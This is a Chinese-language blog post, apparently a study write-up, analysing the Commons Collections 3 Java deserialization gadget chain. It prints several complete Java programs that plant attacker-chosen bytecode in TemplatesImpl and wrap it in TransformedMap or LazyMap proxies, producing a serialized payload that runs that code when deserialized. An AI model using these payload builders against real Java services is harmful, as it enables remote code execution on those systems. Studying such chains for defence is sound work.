CommonCollections3链分析

先介绍一下URLClassLoader

URLClassLoader可以从传入的URL上加载任意类
且支持http协议

实际上类加载最关键的地方在Classloader#definClass()
所以我们要去找有谁调用了该方法

TemplatesImpl的内部类TransletClassLoader#defineClass()处调用
往前
TemplatesImpl#defineTransletClasses()
往前

TemplatesImpl#getTransletInstance()
往前
CommonCollections3链分析_第1张图片
TemplatesImpl#newTransformer()
这个函数是public修饰的可以被外部修饰
我们先写一个demo测一下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("绝对路径"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

注意Test类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet避免TemplatesImpl#defineTransletClasses抛空指针异常
CommonCollections3链分析_第2张图片
CommonCollections3链分析_第3张图片
TemplatesImpl实现了Serializable接口
后面和cc1差不多
改改就能用了
先测一下确保没写错

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates)
                ,new InvokerTransformer("newTransformer",null,null)
                };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);
//        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}


在ysoserial上是用的InstantiateTransformer
那我们再来看看这个怎么实现

TrAXFilter的构造方法中调了newTransformer
我们可以通过InstantiateTransformer#transform()来调构造方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class c = urlClassLoader.loadClass("Test");
//        c.newInstance();


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


                HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);


        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

最后再改成lazyMap的就行了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class c = urlClassLoader.loadClass("Test");
//        c.newInstance();


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);



        HashMap<String, Object> hashMap = new HashMap<>();

        LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
        Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);

        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);


        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

你可能感兴趣的:(JAVA,安全,网络安全,java)